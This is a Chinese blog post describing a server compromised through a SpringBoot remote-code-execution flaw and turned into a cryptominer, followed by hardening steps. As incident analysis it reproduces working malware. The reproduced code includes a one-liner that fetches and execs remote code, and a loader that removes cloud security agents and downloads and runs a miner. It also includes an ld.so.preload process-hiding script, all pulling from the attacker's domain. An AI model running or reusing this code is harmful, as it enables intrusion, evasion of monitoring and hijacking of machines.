性能文章>记一次服务器被入侵,没想到这么简单就搞定了!>

记一次服务器被入侵,没想到这么简单就搞定了!转载

3周前
150602

导语

常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器被入侵挖矿的事情也能落到自己头上。
本文简要记录发现服务器被入侵挖矿的过程,同时分析木马的痕迹和信息,最后给出解决方法。
服务器被入侵挖矿过程

 

事情经过

昨天是周六,睡得比较晚。躺床上玩手机时忽然收到阿里云短信和邮件提醒,服务器有异常行为:

 

记一次服务器被入侵,没想到这么简单就搞定了!数据图表-heapdump性能社区

一看邮件内容就知道不得了,赶紧打开电脑处理。
首先用 netstat 命令查看端口,发现一个异常的端口,但不显示程序名。这时心里已经很清楚,服务器上的Java程序被远程执行代码(RCE),也许还被植入了 rootkit。
首要问题是保障业务正常可用,于是快速拉起另外一个实例,将业务迁移过去。接下来, 首先将被入侵服务器关机,然后一步步研究入侵过程,以及其在服务器上的行为。

入侵行为分析

根据邮件内容,一个 SpringBoot 应用被 getshell 并被执行远程代码。被执行的代码语句 base64 解码后为:

python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()

将其下载,内容如下:

import sysimport osfrom os.path import expanduser
ver=sys.version

shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}

rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/bin

ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}

'''os.system(shs)
domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")
gitdir=""try:
    os.mkdir(homedir+"/.git")except Exception as e:
    print(e)if os.path.isdir(homedir+"/.git"):
    gitdir=homedir+"/.git"try:
    os.mkdir("./.git")except Exception as e:
    print(e)if os.path.isdir("./.git"):
    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:
        html = f.read()
        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:
        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())
        f.close()print ("Download Complete!")
os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):
    os.system(gitdir+"/kworkers")else:
    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))


远程代码主要做了这些事情:

卸载服务器上的安全监控工具;事后开机,发现阿里云盾果然被卸载了
关掉所有kworkers进程;
在当前目录下创建 .git 目录,下载并执行 kworkers 程序。

上网搜了一下 kworkers,发现是挖矿应用,并非加密勒索等木马,心里稍微安心一点。通过阿里云后台监控,可以看到木马入侵后,短时间内cpu占用率飙升(本人处理及时,木马挖矿时间大概持续5分钟左右):

记一次服务器被入侵,没想到这么简单就搞定了!数据图表-heapdump性能社区


服务器残留痕迹

大概知道了木马的行为,接着重启服务器,查看服务器上的痕迹。
1、查看有无添加定时任务:

# crontab -l
0 2 * * * /xxx/.git/kworkers


木马添加了定时启动任务。
2、进入木马主目录,发现下载了如下文件:

记一次服务器被入侵,没想到这么简单就搞定了!数据图表-heapdump性能社区

此外,上层目录和家目录还多了 cert_key.pem 和 cert.pem 两个文件,分别存放公钥和密钥。
3、查看木马留下的日志,有如下内容:

/xxx/.git
/xxx/.git
working dir /xxx from pid 23684
version not exist download
Downloaded: http://m.windowsupdatesupport.org/d/download
version not exist dbus
Downloaded: http://m.windowsupdatesupport.org/d/dbus
version not exist hideproc.sh
Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
error exit status 1version not exist sshkey.sh
Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
version not exist autoupdate
Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
version not exist kworkers
Key path not found
/xxx/.git
passfound  protected
passfound  provided
passfound  +client
passfound  +client
passfound  protected
passfound  provided
passfound  quality
passfound  (plus
passfound  (digits,
passfound  prompt
found aksk xxxx xxxx
found aksk xxxx xxxx
passfound  xxx
passfound  xxx
passfound  xxx
passfound  xxx
passfound  xxx
passfound  xxx
lstat /proc/7776/fd/3: no such file or directory
lstat /proc/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7776/fd/3: no such file or directory
lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7777/fd/3: no such file or directory
lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
lstat /proc/7776/task/7778/fd/3: no such file or directory
lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
lstat /proc/7776/task/7779/fd/3: no such file or directory
lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
lstat /proc/7776/task/7780/fd/3: no such file or directory
lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
lstat /proc/7776/task/7781/fd/3: no such file or directory
lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
lstat /proc/7776/task/7782/fd/3: no such file or directory
lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
lstat /proc/7776/task/7783/fd/3: no such file or directory
lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
restart cmd  /xxx/.git/kworkers
/xxx/.git
passfound  file,
passfound  settings
passfound  file.
passfound  callbacks
passfound  Callback
passfound  example
passfound  prompt
passfound  password
passfound  information
passfound  token
passfound  token
passfound  token
passfound  Password
passfound  password
passfound  password
passfound  -based
passfound  Password
passfound  (using
passfound  field>
passfound  retry
passfound  foobar
passfound  foobar
passfound  foobar
passfound  foobar
passfound  foobar
passfound  password
passfound  password
passfound  foobar
passfound  foobar
passfound  secretr
total passwords 25
xxx.xxx.xxx.xxx
lan ip
doscan range  xxx.xxx.0.0/16
ping...
Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µs
working dir /xxx from pid 7792
Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µs
xxx.xxx.xxx is alive
xxx.xxx.xxx is alive
xxx.xxx.xxx:80  open
xxx.xxx0xxx:443  open
version  same download
version  same dbus
restart dbus
exec again dbus downrun
kill process pid 23709

process completed
version  same hideproc.sh
skip restart hideproc.sh
version  same sshkey.sh
skip restart sshkey.sh
version  same autoupdate
skip restart autoupdate
version  same kworkers
Key path not found


根据日志,主要是下载程序,检测用户名和密码,探测内网,然后启动自动更新、隐藏进程等程序。
对 hideproc.sh 感兴趣,其内容为:

if [ "$EUID" -ne 0 ]  then echo "Please run as root"else
  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"
  else
    apt-get update -y
    apt-get install build-essential -y
    yum check-update
    yum install build-essential -y
    dnf groupinstall "Development Tools" -y
    yum group install "Development Tools"  -y
    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c

    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
    mv libc2.28.so /usr/local/lib/ -f
    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
    rm -f processhider.c
    ls >/tmp/.1  2>&1
    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi


其首先检测是否root用户,然后编译 libc2 共享库,注入隐藏进程的代码。这应该是用netstat无法查看到进程名的原因。
5、查看访问日志,发现期间有个IP对服务器进行爆破:

记一次服务器被入侵,没想到这么简单就搞定了!数据图表-heapdump性能社区


其他信息

除了上述文件,/tmp文件夹下还生成了.1和.1.sh文件;

查询可疑ip,位于国内北京市,应该是肉鸡;

查询木马下载域名 windowsupdatesupport.org,今年6月注册,解析ip都在国外。该域名很有混淆性,并且为了方便直接用http访问;

除了下载木马文件挖矿,未改变服务器上的其他数据。

服务器被入侵挖矿解决办法

虽然知道是 SpringBoot 应用触发了 RCE,但遗憾目前仍未找到是哪个包导致的漏洞。目前采取的缓解措施为:
1、被入侵服务器重装系统;
2、使用非 root 用户启动 SpringBoot 应用;
3、被入侵的是子系统,增加基本授权:

apt install -y apache2-utils
htpasswd /etc/nginx/conf.d/.htpasswd user


然后配置 Nginx 使用认证信息:

server {
  ...
  auth_basic  "子系统鉴权:";
  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
  ..
}


4、防火墙限制对外连接。

上述错误能一定程度上避免类似情况再次发生,但找到应用程序中的漏洞才是接下来的重点。
总结

幸运的是这次来的是挖矿木马,服务器上的程序和数据都未受影响。也很感谢阿里云免费的安全提醒,让我在第一时间处理。

但这次事故也敲醒了警钟:

不要随意用 root 权限运行程序;
防火墙权限要严格收紧;
做好安全监控;
时刻做好数据备份。

更多思考

服务器被入侵是我们在运维工作中经常遇到的问题,本篇内容给大家提供了一个思路,更多运维的性能调优大家可以阅读以下内容加深印象!

一次Kubernetes 集群被入侵,服务器变矿机

分类:
标签:
请先登录,再评论

暂无回复,快来写下第一个回复吧~

为你推荐

关于内存溢出,咱再聊点有意思的?
概述 上篇文章讲了JVM在GC上的一个设计缺陷,揪出一个导致GC慢慢变长的JVM设计缺陷,可能有不少人还是没怎么看明白的,今天准备讲的大家应该都很容易看明白 本文其实很犹豫写不写,因为感觉没有
又发现一个导致JVM物理内存消耗大的Bug(已提交Patch)
概述 最近我们公司在帮一个客户查一个JVM的问题(JDK1.8.0_191-b12),发现一个系统老是被OS Kill掉,是内存泄露导致的。在查的过程中,阴差阳错地发现了JVM另外的一个Bug。这个B
LONG究竟有多长,从皇帝的新衣到海康SDK
转眼之间初中毕业30年了,但我仍清楚的记得初中英语的一篇课文,题目叫《皇帝的新装》(“The king’s new clothes”)。这篇课文的前两句话是:”Long long ago, there
谨防JDK8重复类定义造成的内存泄漏
概述 如今JDK8成了主流,大家都紧锣密鼓地进行着升级,享受着JDK8带来的各种便利,然而有时候升级并没有那么顺利?比如说今天要说的这个问题。我们都知道JDK8在内存模型上最大的改变是,放弃了Perm
JVM菜鸟进阶高手之路九(解惑)
关于MAT工具相关知识解惑MAT 不是一个万能工具,它并不能处理所有类型的堆存储文件。但是比较主流的厂家和格式,例如 Sun, HP, SAP 所采用的 HPROF 二进制堆存储文件,以及 IBM 的
JVM垃圾回收与一次线上内存泄露问题分析和解决过程
本文转载自:花椒技术微信公众号 前言内存泄漏(Memory Leak)是指程序中己动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。Ja
强如 Disruptor 也发生内存溢出?
前言```OutOfMemoryError ```问题相信很多朋友都遇到过,相对于常见的业务异常(数组越界、空指针等)来说这类问题是很难定位和解决的。本文以最近碰到的一次线上内存溢出的定位、解决问题的
记一次服务器被入侵,没想到这么简单就搞定了!
导语常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器被入侵挖矿的事情也能落到自己头上。本文简要记录发现服务器被入侵挖矿的过程,同时分析木马的痕迹和信息,最后给出解决方法。服务器被入侵挖矿过程 事情经过昨天是周六,睡得比较晚。躺床上玩手机时忽然收到阿里云短信和邮件提醒,服